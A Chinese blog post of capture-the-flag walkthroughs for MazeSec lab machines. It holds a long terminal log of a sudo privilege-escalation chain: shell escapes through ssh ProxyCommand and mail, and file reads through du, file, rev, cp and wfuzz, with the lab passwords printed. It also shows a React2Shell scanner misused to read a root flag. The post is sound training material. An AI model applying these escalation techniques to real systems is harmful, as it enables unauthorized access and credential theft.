Twansh/Eminem
0%

MazeSec靶机合集

发表于 更新于
由MazeSec推出的系列靶机，我会持续更新的(一周最多更新两个，用于戒除自身爱玩欢乐斗地主的不良习性)

SudoHome

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l
WARNING: Could not obtain IP address for interface eth0. Using 0.0.0.0 for
the source address, which may not be what you want.
Either configure eth0 with an IP address, or manually specify the address
with the --arpspa option.
Interface: eth0, type: EN10MB, MAC: 00:0c:29:66:2a:e1, IPv4: (none)
ERROR: Could not obtain interface IP address and netmask
ERROR: pcap_lookupnet: eth0: no IPv4 address assigned
                                                                                                                                        
┌──(root㉿kali)-[/home/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:66:2a:e1, IPv4: 192.168.56.102
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:d9:9b:56       (Unknown)
192.168.56.120  08:00:27:ab:f8:5f       (Unknown)

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.876 seconds (136.46 hosts/sec). 3 responded
                                                                                                                                        
┌──(root㉿kali)-[/home/kali]
└─# nmap -sC -sV -p- 192.168.56.120        
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-05 11:48 +08
Nmap scan report for 192.168.56.120
Host is up (0.00037s latency).
Not shown: 65532 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA)
|   256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA)
|_  256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519)
25/tcp open  smtp    Postfix smtpd
| ssl-cert: Subject: commonName=PyCrt.PyCrt
| Subject Alternative Name: DNS:PyCrt.PyCrt
| Not valid before: 2025-04-01T14:05:29
|_Not valid after:  2035-03-30T14:05:29
|_ssl-date: TLS randomness does not represent time
|_smtp-commands: moban, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 08:00:27:AB:F8:5F (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Host:  moban; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.38 seconds
                                                                                                                                        
┌──(root㉿kali)-[/home/kali]
└─# ssh user1@192.168.56.120            
user1:0woA8Sr7I83R0ZwmnTcH
user1@192.168.56.120's password: 
Linux SudoHome 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Sat Nov 22 21:29:24 2025 from 192.168.56.102
user1@SudoHome:~$ sudo -l
Matching Defaults entries for user1 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user1 may run the following commands on SudoHome:
    (user2) NOPASSWD: /usr/bin/du
user1@SudoHome:~$ sudo -u user2 /usr/bin/du --files0-from=/home/user2/password.txt
/usr/bin/du: cannot access 'tLPi3BLMG2zmwvZ5z9rh'$'\n': No such file or directory
user1@SudoHome:~$ su user2
Password: 
user2@SudoHome:/home/user1$ sudo -l
Matching Defaults entries for user2 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user2 may run the following commands on SudoHome:
    (user3) NOPASSWD: /usr/bin/file
user2@SudoHome:/home/user1$ sudo -u user3 /usr/bin/file -f /home/user3/password.txt
TFqxDyfGO69DP1lyjt0f: cannot open `TFqxDyfGO69DP1lyjt0f' (No such file or directory)
user2@SudoHome:/home/user1$ su user3
Password: 
user3@SudoHome:/home/user1$ sudo -l
Matching Defaults entries for user3 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user3 may run the following commands on SudoHome:
    (user4) NOPASSWD: /usr/bin/mc
user3@SudoHome:/home/user1$ sudo -u user4 /usr/bin/mc

user4@SudoHome:/home/user1$ 3
bash: 3: command not found

user3@SudoHome:/home/user1$ su user4
Password: 
user4@SudoHome:/home/user1$ sudo -l
Matching Defaults entries for user4 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user4 may run the following commands on SudoHome:
    (user5) NOPASSWD: /usr/bin/ssh
user4@SudoHome:/home/user1$ sudo -u user5 /usr/bin/ssh -o ProxyCommand=';sh 0<&2 1>&2' x
$ whoami
user5
$ cat /home/user5/password.txt
GZ5KErjFycaYHZGj7GcI
$ exit
kex_exchange_identification: Connection closed by remote host
Connection closed by UNKNOWN port 65535
user4@SudoHome:/home/user1$ su user5
Password: 
user5@SudoHome:/home/user1$ ls
password.txt
user5@SudoHome:/home/user1$ sudo -l
Matching Defaults entries for user5 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user5 may run the following commands on SudoHome:
    (user6) NOPASSWD: /usr/bin/rev
user5@SudoHome:/home/user1$ touch /tmp/password.txt
user5@SudoHome:/home/user1$ chmod 777 /tmp/password.txt
user5@SudoHome:/home/user1$ sudo -u user7 /usr/bin/cp /home/user7/password.txt /tmp/password.txt                                         
                                                                                                                                         
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for user5: 

exitSorry, try again.
[sudo] password for user5: 




Sorry, try again.
[sudo] password for user5: 


sudo: 3 incorrect password attempts
user5@SudoHome:/home/user1$ 
user5@SudoHome:/home/user1$ 
user5@SudoHome:/home/user1$ sudo -u user6 /usr/bin/rev /home/user6/password.txt | rev
Z5cWU36wQhxAVGJbGwoL
user5@SudoHome:/home/user1$ su user6
Password: 
user6@SudoHome:/home/user1$ sudo -l
Matching Defaults entries for user6 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user6 may run the following commands on SudoHome:
    (user7) NOPASSWD: /usr/bin/cp
user6@SudoHome:/home/user1$ sudo -u user7 /usr/bin/cp /home/user7/password.txt /tmp/password.txt
user6@SudoHome:/home/user1$ cat /tmp/password.txt
HLoKAOu86miWIYKdyVx3
user6@SudoHome:/home/user1$ su user7
Password: 
user7@SudoHome:/home/user1$ sudo -l
Matching Defaults entries for user7 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user7 may run the following commands on SudoHome:
    (user8) NOPASSWD: /usr/bin/mail
user7@SudoHome:~$ sudo -l
Matching Defaults entries for user7 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user7 may run the following commands on SudoHome:
    (user8) NOPASSWD: /usr/bin/mail
user7@SudoHome:~$ sudo -u user8 mail -f password.txt
mail: password.txt: Permission denied
user7@SudoHome:~$ ls
password.txt
user7@SudoHome:~$ pwd
/home/user7
user7@SudoHome:~$ cd ..
user7@SudoHome:/home$ cd user8
user7@SudoHome:/home/user8$ ls
password.txt
user7@SudoHome:/home/user8$ sudo -u user8 mail -f password.txt
Mail version 8.1.2 01/15/2001.  Type ? for help.
"password.txt": 0 messages
& ?
& !cat password.txt
UxeGoUq8xqBRxyWVQPYK
!
& ^CInterrupt
& 
At EOF
& exit
user7@SudoHome:/home/user8$ su user8
Password: 
user8@SudoHome:~$ ls
password.txt
user8@SudoHome:~$ sudo -l
Matching Defaults entries for user8 on SudoHome:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User user8 may run the following commands on SudoHome:
    (user9) NOPASSWD: /usr/bin/wfuzz
user8@SudoHome:~$ sudo -u user9 wfuzz -z file,/home/user9/password.txt
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Bad usage: You must specify an URL.
user8@SudoHome:~$ sudo -u user9 wfuzz -z file,/home/user9/password.txt http://192.168.2.60:81/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.2.60:81/FUZZ
Total requests: 1

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                
=====================================================================


Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0

 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 7: 
user8@SudoHome:~$ sudo -u user9 wfuzz -z file,/home/user9/password.txt http://192.168.56.120:81/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.120:81/FUZZ
Total requests: 1

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                
=====================================================================


Total time: 0
Processed Requests: 0
Filtered Requests: 0
Requests/sec.: 0

 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:78: UserWarning:Fatal exception: Pycurl error 7: Failed to connect to 192.168.56.120 port 81: Connection refused
user8@SudoHome:~$ sudo -u user9 wfuzz -z file,/home/user9/password.txt http://192.168.56.120:80/FUZZ
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.56.120:80/FUZZ
Total requests: 1

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                
=====================================================================

000000001:   404        9 L      31 W       276 Ch      "peqkSBCDKvVxxNwcq1j4"                                                 

Total time: 0
Processed Requests: 1
Filtered Requests: 0
Requests/sec.: 0


这个从user1到读root的flag，用了九种sudo提权方法和一个目录性质+软链接读取文件

这个倒是可以拿去当sudo风暴的教材了，可以被称为小sudo风暴

Creds

React

这个是最近很时髦的那个cve核弹级漏洞的机器，可惜我在这块领域还并不熟练，并不能对这个洞进行代码审计来分析原理，只能当个脚本小子来打这个靶机

(cao了，没想到CISCN也考了这个，那我直接爽到起飞了)

直接利用现成脚本打

进来之后检查sudo位，发现了可利用的脚本，可以用-l参数来读入文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
bot@React:~$ sudo /opt/react2shell/scanner.py -l /root/root.txt -o /tmp/test/<t2shell/scanner.py -l /root/root.txt -o /tmp/test/r                         oot.txt --all-result

brought to you by assetnote

[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled

[ERROR] flag{root-bc29a7159b63b18dc294002be32e1c22} - Connection Error: HTTPSConnectionPool(host='flag%7broot-bc29a7159b63b18dc294002be32e1c22%7d', port=443): Max retries exceeded with url: / (Caused by NameResolutionError("HTTPSConnection(host='flag%7broot-bc29a7159b63b18dc294002be32e1c22%7d', port=443): Failed to resolve 'flag%7broot-bc29a7159b63b18dc294002be32e1c22%7d' ([Errno -2] Name or service not known)"))

============================================================
SCAN SUMMARY
============================================================
  Total hosts scanned: 1
  Vulnerable: 0
  Not vulnerable: 1
  Errors: 0
============================================================

[ERROR] Failed to save results: [Errno 2] No such file or directory: '/tmp/test/root.txt'

读到了flag，这里也可以爆破shadow文件的hash，来获取root的密码

babyAD

最爱AD的一集，哈哈哈

Hellman

这个真的牛了，我打了大概有6个小时，终于是打了出来(虽然作者说难度是easy)

入口很好打，是个hellman的密码学挑战，交给AI写一个交互式脚本即可解决这个问题